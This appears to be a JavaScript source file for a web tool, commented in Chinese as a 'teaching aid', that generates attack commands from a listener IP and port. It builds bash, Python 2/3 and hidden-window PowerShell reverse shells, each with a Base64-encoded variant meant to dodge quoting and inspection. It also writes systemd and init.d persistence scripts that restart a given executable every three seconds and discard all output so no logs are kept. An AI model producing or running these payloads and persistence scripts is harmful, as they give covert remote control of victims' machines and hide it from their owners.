NewHome/assets/js/persist.js

288 lines
13 KiB
JavaScript
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

/* persist.js —— 辅助维权(教学辅助)生成逻辑
* 1) 反弹 Shell按 Linux / Windows 目标机生成三组语句,每组「上为原句、下为 Base64 编码可执行版本」:
* #1 普通反弹bash / PowerShell
* #2 Python 2 反弹
* #3 Python 3 反弹
* 2) Linux 自启服务:按执行文件绝对路径生成 systemd unit 或 SysV init.d 脚本,
* 均不落盘日志stdout/stderr → null且崩溃 3 秒后自动重启。
* Windows 辅助区文本框为只读,高度随内容自适应、不可手动拉伸。
* 仅教学辅助;默认示例为占位演示值。
*/
(function () {
'use strict';
function $(id) { return document.getElementById(id); }
/* ---------- 工具函数 ---------- */
function esc(s) {
return String(s).replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
}
function basename(p) {
p = String(p || '').replace(/\\/g, '/').replace(/\/+$/, '');
var i = p.lastIndexOf('/');
return i >= 0 ? p.slice(i + 1) : p;
}
function segValue(seg) {
var b = seg.querySelector('button.active');
return b ? b.getAttribute(b.hasAttribute('data-mode') ? 'data-mode' : 'data-plat') : '';
}
function bindSeg(seg, onChange) {
var btns = seg.querySelectorAll('button');
for (var i = 0; i < btns.length; i++) {
btns[i].addEventListener('click', function () {
for (var j = 0; j < btns.length; j++) btns[j].classList.remove('active');
this.classList.add('active');
if (onChange) onChange();
});
}
}
function setMsg(id, html, isErr) {
var box = $(id);
box.innerHTML = html ? '<div class="' + (isErr ? 'err-msg' : 'ok-msg') + '">' + html + '</div>' : '';
}
function b64Ascii(text) { // ASCII → Base64命令本身均为 ASCII
var bin = '';
for (var i = 0; i < text.length; i++) bin += String.fromCharCode(text.charCodeAt(i));
return btoa(bin);
}
function b64Utf16LE(text) { // UTF-16LE → Base64PowerShell -enc 需要)
var bytes = [];
for (var i = 0; i < text.length; i++) {
var c = text.charCodeAt(i);
bytes.push(c & 255, c >> 8);
}
var bin = '';
for (var j = 0; j < bytes.length; j++) bin += String.fromCharCode(bytes[j]);
return btoa(bin);
}
function validIp(ip) {
ip = String(ip || '').trim();
if (!/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/.test(ip)) return false;
var o = ip.split('.');
for (var i = 0; i < 4; i++) { if (+o[i] > 255) return false; }
return true;
}
function validPort(p) {
p = String(p || '').trim();
return /^\d{1,5}$/.test(p) && +p >= 1 && +p <= 65535;
}
/* 文本框高度自适应内容(.auto-ta 禁止手动拉伸) */
function fitAuto() {
var els = document.querySelectorAll('.auto-ta');
for (var i = 0; i < els.length; i++) {
els[i].style.height = 'auto';
els[i].style.height = (els[i].scrollHeight + 2) + 'px';
}
}
/* ---------- 反弹 Shell 生成a=普通 b=py2 c=py3各带 64 编码版) ---------- */
function buildLinux(ip, port) {
var bash = 'bash -i >& /dev/tcp/' + ip + '/' + port + ' 0>&1';
var py2 = 'python2 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);' +
's.connect(("' + ip + '",' + port + '));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);' +
'subprocess.call(["/bin/sh","-i"])\'';
var py3 = py2.replace('python2', 'python3');
return {
titles: {
a: '#1 普通反弹bash · 现代发行版自带)',
b: '#2 Python 2 反弹python2 · 老版本系统自带)',
c: '#3 Python 3 反弹python3 · 现代发行版自带)'
},
notes: {
a: '▼ 下方为 Base64 编码版还原echo 上方值 | base64 -d | bash',
b: '▼ 下方为 Base64 编码版还原echo 上方值 | base64 -d | python2',
c: '▼ 下方为 Base64 编码版还原echo 上方值 | base64 -d | python3'
},
a: bash, a64: 'echo ' + b64Ascii(bash) + ' | base64 -d | bash',
b: py2, b64: 'echo ' + b64Ascii(py2) + ' | base64 -d | python2',
c: py3, c64: 'echo ' + b64Ascii(py3) + ' | base64 -d | python3'
};
}
function buildWin(ip, port) {
var ps = '$c=New-Object System.Net.Sockets.TCPClient(\'' + ip + '\',' + port + ');' +
'$s=$c.GetStream();[byte[]]$b=0..65535|%{0};' +
'while(($i=$s.Read($b,0,$b.Length)) -ne 0){' +
'$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);' +
'$r=(iex $d 2>&1|Out-String);' +
'$s2=([text.encoding]::ASCII).GetBytes($r+\'PS \'+(pwd).Path+\'> \');' +
'$s.Write($s2,0,$s2.Length);$s.Flush()};$c.Close()';
// Python 载荷:代码内部全部使用单引号字符串,便于外层用双引号包裹
function pyCode(sh) {
return 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);' +
's.connect((\'' + ip + '\',' + port + '));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);' +
'subprocess.call([\'' + sh + '\'])';
}
var code2 = pyCode('cmd.exe');
var code3 = pyCode('cmd.exe');
var orig2 = 'python2 -c "' + code2 + '"';
var orig3 = 'python3 -c "' + code3 + '"';
return {
titles: {
a: '#1 PowerShell 反弹Windows 内置,无需额外组件)',
b: '#2 Python 2 反弹(需目标机已装 python2',
c: '#3 Python 3 反弹(需目标机已装 python3'
},
notes: {
a: '▼ 下方为 Base64 编码版PowerShell -enc规避引号与特殊字符',
b: '▼ 下方为 Base64 编码版python2 -c 内置 base64 解码执行)',
c: '▼ 下方为 Base64 编码版python3 -c 内置 base64 解码执行)'
},
a: 'powershell -nop -w hidden -c "' + ps + '"',
a64: 'powershell -nop -w hidden -enc ' + b64Utf16LE(ps),
b: orig2,
b64: 'python2 -c "import base64;exec(base64.b64decode(\'' + b64Ascii(code2) + '\'))"',
c: orig3,
c64: 'python3 -c "import base64;exec(base64.b64decode(\'' + b64Ascii(code3) + '\'))"'
};
}
function renderRev() {
var ip = $('revIp').value.trim();
var port = $('revPort').value.trim();
if (!validIp(ip)) { setMsg('revMsg', '请填写正确的监听 IPv4 地址。', true); return; }
if (!validPort(port)) { setMsg('revMsg', '请填写 1-65535 的有效端口。', true); return; }
var g = segValue($('revPlat')) === 'win' ? buildWin(ip, port) : buildLinux(ip, port);
$('revA').value = g.a;
$('revA64').value = g.a64;
$('revB').value = g.b;
$('revB64').value = g.b64;
$('revC').value = g.c;
$('revC64').value = g.c64;
$('revTA').textContent = g.titles.a;
$('revTB').textContent = g.titles.b;
$('revTC').textContent = g.titles.c;
$('revAN').textContent = g.notes.a;
$('revBN').textContent = g.notes.b;
$('revCN').textContent = g.notes.c;
setMsg('revMsg', '', false);
fitAuto();
}
/* ---------- Linux 自启服务生成 ---------- */
function svcName() {
var n = $('lxName').value.trim();
if (n) return n;
return basename($('lxPath').value) || 'agent';
}
function systemdUnit(path, name) {
return '[Unit]\n' +
'Description=' + name + ' service\n' +
'After=network.target\n' +
'\n' +
'[Service]\n' +
'Type=simple\n' +
'ExecStart=' + path + '\n' +
'Restart=always\n' +
'RestartSec=3\n' +
'StandardOutput=null\n' +
'StandardError=null\n' +
'\n' +
'[Install]\n' +
'WantedBy=multi-user.target\n';
}
function initdScript(path, name) {
return '#!/bin/sh\n' +
'### BEGIN INIT INFO\n' +
'# Provides: ' + name + '\n' +
'# Required-Start: $remote_fs\n' +
'# Required-Stop: $remote_fs\n' +
'# Default-Start: 2 3 4 5\n' +
'# Default-Stop: 0 1 6\n' +
'# Short-Description: ' + name + '\n' +
'### END INIT INFO\n' +
'\n' +
'DAEMON="' + path + '"\n' +
'NAME="' + name + '"\n' +
'PIDFILE="/var/run/' + name + '.pid"\n' +
'\n' +
'case "$1" in\n' +
' start)\n' +
' echo "Starting $NAME..."\n' +
' (while :; do "$DAEMON"; sleep 3; done) >/dev/null 2>&1 &\n' +
' echo $! > "$PIDFILE"\n' +
' ;;\n' +
' stop)\n' +
' echo "Stopping $NAME..."\n' +
' if [ -f "$PIDFILE" ]; then\n' +
' KPID=$(cat "$PIDFILE")\n' +
' pkill -P "$KPID" 2>/dev/null\n' +
' kill "$KPID" 2>/dev/null\n' +
' rm -f "$PIDFILE"\n' +
' fi\n' +
' ;;\n' +
' restart)\n' +
' "$0" stop\n' +
' sleep 1\n' +
' "$0" start\n' +
' ;;\n' +
' *)\n' +
' echo "Usage: $0 {start|stop|restart}"\n' +
' exit 1\n' +
' ;;\n' +
'esac\n' +
'exit 0\n';
}
function renderService() {
var path = $('lxPath').value.trim();
var name = svcName();
var mode = segValue($('lxMode')) === 'initd' ? 'initd' : 'systemd';
var out = $('lxOut'), tips = $('lxTips');
if (!path) {
out.value = '';
tips.textContent = '请先填写执行文件绝对路径。';
return;
}
if (mode === 'systemd') {
out.value = systemdUnit(path, name);
tips.innerHTML = '安装:将上方内容写入 <code>/etc/systemd/system/' + esc(name) + '.service</code>(需 root然后执行<br>' +
'<code>systemctl daemon-reload && systemctl enable --now ' + esc(name) + '</code><br>' +
'说明:<code>Restart=always</code> 崩溃自动拉起;<code>StandardOutput/StandardError=null</code> 不产生、不落盘日志。';
} else {
out.value = initdScript(path, name);
tips.innerHTML = '安装:将上方脚本写入 <code>/etc/init.d/' + esc(name) + '</code> 并赋予执行权限:<br>' +
'<code>chmod +x /etc/init.d/' + esc(name) + '</code><br>' +
'Debian/Ubuntu低版本注册开机自启<code>update-rc.d ' + esc(name) + ' defaults</code><br>' +
'CentOS/RHEL 旧版注册开机自启:<code>chkconfig --add ' + esc(name) + '</code><br>' +
'启动服务:<code>service ' + esc(name) + ' start</code>(脚本内含崩溃后 3 秒自动拉起的看护循环)。';
}
}
function downloadService() {
var text = $('lxOut').value;
if (!text) return;
var name = svcName();
var mode = segValue($('lxMode')) === 'initd' ? 'initd' : 'systemd';
var fn = mode === 'systemd' ? name + '.service' : name;
var blob = new Blob(['\ufeff' + text], { type: 'text/plain;charset=utf-8' });
var url = URL.createObjectURL(blob);
var a = document.createElement('a');
a.href = url;
a.download = fn;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
setTimeout(function () { URL.revokeObjectURL(url); }, 1500);
}
/* ---------- 事件绑定 ---------- */
bindSeg($('revPlat'), renderRev);
bindSeg($('lxMode'), renderService);
$('revGo').addEventListener('click', renderRev);
$('revPort').addEventListener('keydown', function (ev) {
if (ev.key === 'Enter') renderRev();
});
$('lxPath').addEventListener('input', renderService);
$('lxName').addEventListener('input', renderService);
$('lxGo').addEventListener('click', renderService);
$('lxDown').addEventListener('click', downloadService);
/* 页面载入即展示默认示例(演示占位值)并自适应文本框高度 */
renderRev();
renderService();
fitAuto();
// 窗口宽度变化导致换行变化时重新自适应
var rszT = null;
window.addEventListener('resize', function () {
if (rszT) clearTimeout(rszT);
rszT = setTimeout(fitAuto, 150);
});
})();